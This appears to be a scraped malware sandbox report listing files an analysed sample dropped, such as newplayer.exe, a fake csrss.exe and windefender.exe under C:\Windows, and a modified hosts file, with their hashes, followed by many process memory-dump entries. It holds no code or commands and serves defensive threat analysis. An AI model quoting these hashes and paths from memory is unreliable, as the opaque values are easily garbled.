Download Submit
C:\Users\Admin\AppData\Local\Temp\newplayer.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\newplayer.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Users\Admin\AppData\Local\Temp\newplayer.exe

Filesize
198KB

MD5
f0033521f40c06dec473854c7d98fa8b

SHA1
28dadfe642a0c308e1f744b0d87a6d22dd6cd55a

SHA256
4458a9df5275bedd921127f4ff9dc63d4ac107f2e89cf46969e96f4c43d9f93e

SHA512
f6758814fd20b613fe6f3df7a0a60488dcae59680c3487344a701f59dca972acbb1dd8041bd3fa8d3f97279193796dab9c7f98f1cab3e25686ca34c65e349217

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
3d086a433708053f9bf9523e1d87a4e8

SHA1
b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28

SHA256
6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69

SHA512
931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
8b7193ea35505493a8bf3e3242961158

SHA1
f5bd7f401e65b9376c97f75c9bbf2b1c4978fbae

SHA256
821032d9e75f628c09d073c6e7adccb33be12e1c08cc098098b4e52984d6b6cd

SHA512
58d8cd243035f6faf9c26aa02ddb1f1977eb628a614cea80f55a6ee9749f34cf96da3a0552b1a9581236f32730978f1d6d486839509473b944218890601980bb

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
f7364bbc7d10da66118679095b1f7bb5

SHA1
f5ed3ba8445d6ba134836f28b8704471b1b8db93

SHA256
b5367c719e7ba3d710d0d1435a372bdf6c70999450da56b1150dde253edf3432

SHA512
6d4e704b2495269d7770950fd60d47086906ca16c7469bd81ce023b07e2ad09dd79cf2c6d321d2e85c1bb670343bc111e166c5c56474c8785cff3c32725b3237

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
47722723f9fc36b1cd7754306c8973d5

SHA1
ef5b46d39bae81a1485a9d518f75380d580799d4

SHA256
e4399ddd71ab9e8909db8b6dea838641309b6ea257df28868766f31a4e4f425b

SHA512
98e2f41d3814692e636b7204f93bfe89a6bdf1fd397e6bd98debffba235eda89d20da71ede05c86f2cd72dd37b7e3601e6bd7fee0444245daab0c6682613e850

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
e1e157cacb99090d0d955ec79557091e

SHA1
ff97b1c54456d066a35ac71abfabd72c915673a8

SHA256
99e408824659fce006ca5892693993e6e4ec00ad9bea08232251d56a487f5267

SHA512
c139c7ee060899bf864c7aa48a41a520f34b6e917a73492d06167a9d689eeafb354c3df12034eed6a43ddc4c727c5c79c4727f44811d9819a228841156772c65

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
19KB

MD5
ff038b025f5e000e00f4495cbfb22252

SHA1
2af0bab42b0b9984882a28326fb9e695cb0ef8c9

SHA256
2b17c52878d021dcecfc786d91e6ee93753a11098decfaa34d65351272b675cb

SHA512
5fa953d9c5e8fb4f7060fad1e6cd0fd5fc08587cd17519deeebfd96b0d9c38bd4e3db50a9daa97d113aea070bb5b235022cf6efc4fa5b12a5c813ed15da222d5

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
3KB

MD5
00930b40cba79465b7a38ed0449d1449

SHA1
4b25a89ee28b20ba162f23772ddaf017669092a5

SHA256
eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

SHA512
cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.2MB

MD5
43571c105447cc17a14daa158ec4389a

SHA1
a23e7044033e3ebb349c1d194a53df0c0c058a2d

SHA256
3c3765a39069b1f6dbcaafb23721a289df7c3e1b540e2de3c76facb867bba7df

SHA512
a66bf5e5bd751eccbeb0089453e0cd9f2ded8a1224546421fcfd6fcf4b54d755f97b69850036c54b870ea7a8b98d2f3a35d8a2ae37e71eceef6c6d16cb900b2c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/8-97-0x0000000005210000-0x0000000005838000-memory.dmp

Filesize
6.2MB

Download
memory/8-138-0x00000000076A0000-0x00000000076BA000-memory.dmp

Filesize
104KB

Download
memory/8-117-0x0000000007240000-0x000000000725A000-memory.dmp

Filesize
104KB

Download
memory/8-119-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/8-120-0x00000000073F0000-0x0000000007422000-memory.dmp

Filesize
200KB

Download
memory/8-121-0x000000007FB70000-0x000000007FB80000-memory.dmp

Filesize
64KB

Download
memory/8-122-0x000000006FA80000-0x000000006FACC000-memory.dmp

Filesize
304KB

Download
memory/8-123-0x000000006FBE0000-0x000000006FF34000-memory.dmp

Filesize
3.3MB

Download
memory/8-133-0x00000000073D0000-0x00000000073EE000-memory.dmp

Filesize
120KB

Download
memory/8-134-0x00000000073B0000-0x00000000073BA000-memory.dmp

Filesize
40KB

Download
memory/8-135-0x0000000007600000-0x0000000007696000-memory.dmp

Filesize
600KB

Download
memory/8-136-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/8-137-0x00000000075A0000-0x00000000075AE000-memory.dmp

Filesize
56KB

Download
memory/8-95-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/8-139-0x00000000075F0000-0x00000000075F8000-memory.dmp

Filesize
32KB

Download
memory/8-143-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/8-115-0x00000000071A0000-0x0000000007216000-memory.dmp

Filesize
472KB

Download
memory/8-100-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

Download
memory/8-111-0x0000000005E80000-0x0000000005E9E000-memory.dmp

Filesize
120KB

Download
memory/8-99-0x0000000005140000-0x00000000051A6000-memory.dmp

Filesize
408KB

Download
memory/8-98-0x0000000005090000-0x00000000050B2000-memory.dmp

Filesize
136KB

Download
memory/8-96-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/8-113-0x00000000063C0000-0x0000000006404000-memory.dmp

Filesize
272KB

Download
memory/8-93-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/8-94-0x0000000002880000-0x00000000028B6000-memory.dmp

Filesize
216KB

Download
memory/8-114-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/8-116-0x00000000078A0000-0x0000000007F1A000-memory.dmp

Filesize
6.5MB

Download
memory/400-184-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/400-208-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/400-173-0x00000000045A0000-0x0000000004998000-memory.dmp

Filesize
4.0MB

Download
memory/400-284-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/728-239-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/728-228-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/728-227-0x0000000004FC0000-0x0000000004FD0000-memory.dmp

Filesize
64KB

Download
memory/728-226-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/800-466-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp

Filesize
7.9MB

Download
memory/800-472-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp

Filesize
7.9MB

Download
memory/800-452-0x00000000008D0000-0x00000000008F0000-memory.dmp

Filesize
128KB

Download
memory/800-476-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp

Filesize
7.9MB

Download
memory/800-490-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp

Filesize
7.9MB

Download
memory/800-497-0x00007FF769A80000-0x00007FF76A26F000-memory.dmp

Filesize
7.9MB

Download
memory/1264-170-0x00007FF8620A0000-0x00007FF862B61000-memory.dmp

Filesize
10.8MB

Download
memory/1264-187-0x0000019BA9440000-0x0000019BA9450000-memory.dmp

Filesize
64KB

Download
memory/1264-171-0x0000019BA9440000-0x0000019BA9450000-memory.dmp

Filesize
64KB

Download
memory/1264-202-0x00007FF8620A0000-0x00007FF862B61000-memory.dmp

Filesize
10.8MB

Download
memory/1264-172-0x0000019BA9440000-0x0000019BA9450000-memory.dmp

Filesize
64KB

Download
memory/1264-185-0x0000019BA9440000-0x0000019BA9450000-memory.dmp

Filesize
64KB

Download
memory/1556-82-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/1556-79-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2448-468-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2448-478-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2448-487-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2732-190-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/2732-220-0x000000007FC80000-0x000000007FC90000-memory.dmp

Filesize
64KB

Download
memory/2732-191-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/2732-207-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/2732-210-0x000000006FC00000-0x000000006FF54000-memory.dmp

Filesize
3.3MB

Download
memory/2732-189-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/2732-224-0x0000000073170000-0x0000000073920000-memory.dmp

Filesize
7.7MB

Download
memory/2732-209-0x000000006FA80000-0x000000006FACC000-memory.dmp

Filesize
304KB

Download
memory/2928-496-0x00007FF7B24D0000-0x00007FF7B24FA000-memory.dmp

Filesize
168KB

Download
memory/2928-465-0x00007FF7B24D0000-0x00007FF7B24FA000-memory.dmp

Filesize
168KB

Download
memory/3252-83-0x0000000002610000-0x0000000002626000-memory.dmp

Filesize
88KB

Download
memory/3304-461-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/3524-90-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/3524-89-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/3524-88-0x0000000004640000-0x0000000004A38000-memory.dmp

Filesize
4.0MB

Download
memory/3524-87-0x0000000004A40000-0x000000000532B000-memory.dmp

Filesize
8.9MB

Download
memory/3524-145-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/3524-110-0x0000000004A40000-0x000000000532B000-memory.dmp

Filesize
8.9MB

Download
memory/3524-112-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/3880-71-0x0000000002550000-0x0000000002565000-memory.dmp

Filesize
84KB

Download
memory/3880-86-0x0000000000400000-0x0000000002438000-memory.dmp

Filesize
32.2MB

Download
memory/3880-75-0x0000000000400000-0x0000000002438000-memory.dmp

Filesize
32.2MB

Download
memory/3880-74-0x00000000026C0000-0x00000000026C9000-memory.dmp

Filesize
36KB

Download
memory/3912-77-0x0000000002550000-0x0000000002565000-memory.dmp

Filesize
84KB

Download
memory/3912-78-0x0000000002680000-0x0000000002689000-memory.dmp

Filesize
36KB

Download
memory/4064-445-0x00007FF75E590000-0x00007FF75EB31000-memory.dmp

Filesize
5.6MB

Download
memory/4064-453-0x00007FF75E590000-0x00007FF75EB31000-memory.dmp

Filesize
5.6MB

Download
memory/4064-281-0x00007FF75E590000-0x00007FF75EB31000-memory.dmp

Filesize
5.6MB

Download
memory/4284-164-0x00000122F6A60000-0x00000122F6A70000-memory.dmp

Filesize
64KB

Download
memory/4284-162-0x00000122F6A60000-0x00000122F6A70000-memory.dmp

Filesize
64KB

Download
memory/4284-163-0x00000122F6A60000-0x00000122F6A70000-memory.dmp

Filesize
64KB

Download
memory/4284-161-0x00000122F6A60000-0x00000122F6A70000-memory.dmp

Filesize
64KB

Download
memory/4284-160-0x00007FF8620A0000-0x00007FF862B61000-memory.dmp

Filesize
10.8MB

Download
memory/4284-167-0x00007FF8620A0000-0x00007FF862B61000-memory.dmp

Filesize
10.8MB

Download
memory/4284-155-0x00000122F8AE0000-0x00000122F8B02000-memory.dmp

Filesize
136KB

Download
memory/4328-205-0x00007FF7618C0000-0x00007FF761E61000-memory.dmp

Filesize
5.6MB

Download
memory/4328-91-0x00007FF7618C0000-0x00007FF761E61000-memory.dmp

Filesize
5.6MB

Download
memory/4652-470-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-316-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-488-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-377-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-477-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-456-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/4652-464-0x0000000000400000-0x000000000281B000-memory.dmp

Filesize
36.1MB

Download
memory/5068-493-0x0000000000400000-0x0000000000C25000-memory.dmp

Filesize
8.1MB

Download
memory/5068-495-0x0000000000400000-0x0000000000C25000-memory.dmp

Filesize
8.1MB

Download